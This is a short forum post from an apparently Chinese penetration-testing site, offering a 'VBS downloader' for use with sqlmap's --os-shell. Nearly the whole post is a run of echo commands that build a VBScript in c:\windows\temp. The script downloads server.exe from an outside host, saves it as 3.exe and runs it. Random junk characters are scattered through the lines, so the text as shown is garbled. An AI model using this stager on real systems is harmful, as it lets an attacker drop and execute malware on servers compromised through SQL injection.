中国网络渗透测试联盟

标题: vbs下载者,适合sqlmap --os-shell使用 [打印本页]

作者: admin    时间: 2016-4-12 16:08
标题: vbs下载者,适合sqlmap --os-shell使用
echo ^Set Post = CreateObject("Msxml2.XMLHTTP")^ >>c:\windows\temp\666999.txt
: _8 M, o1 e# l0 Z5 p0 U) Iecho ^Set Shell = CreateObject("Wscript.Shell")^ >>c:\windows\temp\666999.txt& f: Y. x1 W& S  N0 |( @/ Q
echo ^Post.Open "GET","http://www.baido.hk/server.exe",0^ >>c:\windows\temp\666999.txt
" P! f8 K* Q( n4 Decho ^Post.Send()^ >>c:\windows\temp\666999.txt5 f7 _- P: T: z
echo ^Set aGet = CreateObject("ADODB.Stream")^ >>c:\windows\temp\666999.txt
0 V' _/ m6 S  C2 r' {echo ^aGet.Mode = 3^ >>c:\windows\temp\666999.txt4 L/ G9 {% o5 K! Y$ }
echo ^aGet.Type = 1^ >>c:\windows\temp\666999.txt6 k+ ^2 p% x( S
echo ^aGet.Open()^ >>c:\windows\temp\666999.txt
% T( i# M8 D6 X) [echo ^aGet.Write(Post.responseBody)^ >>c:\windows\temp\666999.txt3 g8 n0 R6 A' @7 c" L
echo ^aGet.SaveToFile "c:\windows\temp\3.exe",2^ >>c:\windows\temp\666999.txt1 M6 k0 }4 ^+ L3 _2 r9 K9 n
echo ^wscript.sleep 1000^ >>c:\windows\temp\666999.txt3 A) S$ J0 }% n! r2 S( t! J8 d# C
echo ^Shell.Run ("c:\windows\temp\3.exe")^ >>c:\windows\temp\666999.txt6 }; {5 ]* C0 h/ `/ s+ V

; P( B8 v: R$ p- G




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2